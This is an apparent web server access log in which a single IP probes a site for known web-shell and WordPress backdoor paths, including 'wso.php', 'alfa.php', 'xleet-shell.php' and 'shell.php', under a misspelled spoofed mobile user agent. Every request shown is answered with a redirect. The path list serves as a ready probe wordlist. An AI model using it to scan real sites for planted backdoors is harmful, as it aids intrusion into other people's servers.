AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:47:04 -0400] "GET /098.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:47:06 -0400] "GET /new_license.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:47:09 -0400] "GET /wp-content/plugins/theme-configurator/mini.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:47:12 -0400] "GET /wp-content/plugins/widget-logic/mini.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:47:15 -0400] "GET /wp-admin/css/index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:47:20 -0400] "GET /1975.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:47:22 -0400] "GET /1975.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:47:25 -0400] "GET /radio.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:47:27 -0400] "GET /wp-includes/wp-class.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:47:30 -0400] "GET /xleet-shell.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:47:31 -0400] "GET /wp-content/radio.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:47:34 -0400] "GET /wp-includes/radio.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:47:36 -0400] "GET /fx.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:47:37 -0400] "GET /wp-admin/images/atomlib.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:47:40 -0400] "GET /gel4y.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:47:42 -0400] "GET /jindex.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:47:46 -0400] "GET /wp-content/about.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:47:49 -0400] "GET /sh.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:47:51 -0400] "GET /wp-includes/991176.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:47:54 -0400] "GET /wp-admin/maint/about.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:47:56 -0400] "GET /fox.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:47:59 -0400] "GET /wp-admin/x.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:48:02 -0400] "GET /fw.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:48:05 -0400] "GET /server.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:48:06 -0400] "GET /wp-includes/fw.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:48:09 -0400] "GET /4.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:48:12 -0400] "GET /5.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:48:14 -0400] "GET /images/about.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:48:17 -0400] "GET /xmlrpc.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:48:19 -0400] "GET /wp-load.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:48:23 -0400] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:48:27 -0400] "GET /wp-admin/fw.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:48:30 -0400] "GET /mari.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:48:34 -0400] "GET /swm.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:48:39 -0400] "GET /wp-admin/radio.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:48:42 -0400] "GET /wp-includes/about.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:48:44 -0400] "GET /wp-content/wso.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:48:45 -0400] "GET /wp-admin/wso.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:48:46 -0400] "GET /w3llstore.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:48:48 -0400] "GET /wp-content/fx.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:48:50 -0400] "GET /wp-content/x.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:48:52 -0400] "GET /wp-admin/alfa.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:48:55 -0400] "GET /gank.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:49:01 -0400] "GET /style.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:49:05 -0400] "GET /s_e.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:49:07 -0400] "GET /s_ne.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:49:09 -0400] "GET /beence.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:49:11 -0400] "GET /wp-signin.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:49:14 -0400] "GET /moduless.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:49:16 -0400] "GET /export.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:49:19 -0400] "GET /legion.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:49:23 -0400] "GET /system_log.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:49:25 -0400] "GET /shells.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:49:27 -0400] "GET /wp-includes/wp-atom.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:49:30 -0400] "GET /wp-content/plugins/ubh/up.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:49:32 -0400] "GET /wp-content/mu-plugins/db-safe-mode.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:49:34 -0400] "GET /wp-content/db-cache.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:49:40 -0400] "GET /wp-content/plugins/backup_index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:49:42 -0400] "GET /wp-content/themes/config.bak.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:49:48 -0400] "GET /wp-includes/images/css.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:49:50 -0400] "GET /wp-includes/css/css.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:49:52 -0400] "GET /wp-content/uploads/wp-stream.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:49:54 -0400] "GET /wp-beckup.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:49:59 -0400] "GET /wp-blog-post.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:50:02 -0400] "GET /wp-content/uploads/wp-blockdown.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:50:05 -0400] "GET /wp-admin/includes/class-wp-media-list-data.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:50:11 -0400] "GET /wp-admin/style.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:50:18 -0400] "GET /6.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:50:23 -0400] "GET /7.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:50:27 -0400] "GET /8.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:50:31 -0400] "GET /9.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:50:34 -0400] "GET /10.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:50:37 -0400] "GET /wp_class_datalib.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:50:39 -0400] "GET /wp-includes/wp_class_datlib.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:50:43 -0400] "GET /wp-includes/pomo/wp_class_datalib.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:50:46 -0400] "GET /01.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:50:48 -0400] "GET /marijuana.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:50:50 -0400] "GET /1xleet.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:50:53 -0400] "GET /wp-content/shell.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:50:56 -0400] "GET /wp-content/fw.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:50:57 -0400] "GET /wp-admin/shell.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:51:00 -0400] "GET /wp-admin/wp.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:51:02 -0400] "GET /4index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:51:03 -0400] "GET /5index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:51:05 -0400] "GET /6index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:51:11 -0400] "GET /7index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:51:15 -0400] "GET /8index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:51:18 -0400] "GET /9index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:51:20 -0400] "GET /Leaf.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:51:22 -0400] "GET /Uploader.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:51:26 -0400] "GET /wp-includes/wp-red.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:51:29 -0400] "GET /.well-known/radio.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:51:31 -0400] "GET /alfashell.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:51:35 -0400] "GET /am.php HTTP/1.1" 301 795 "-" 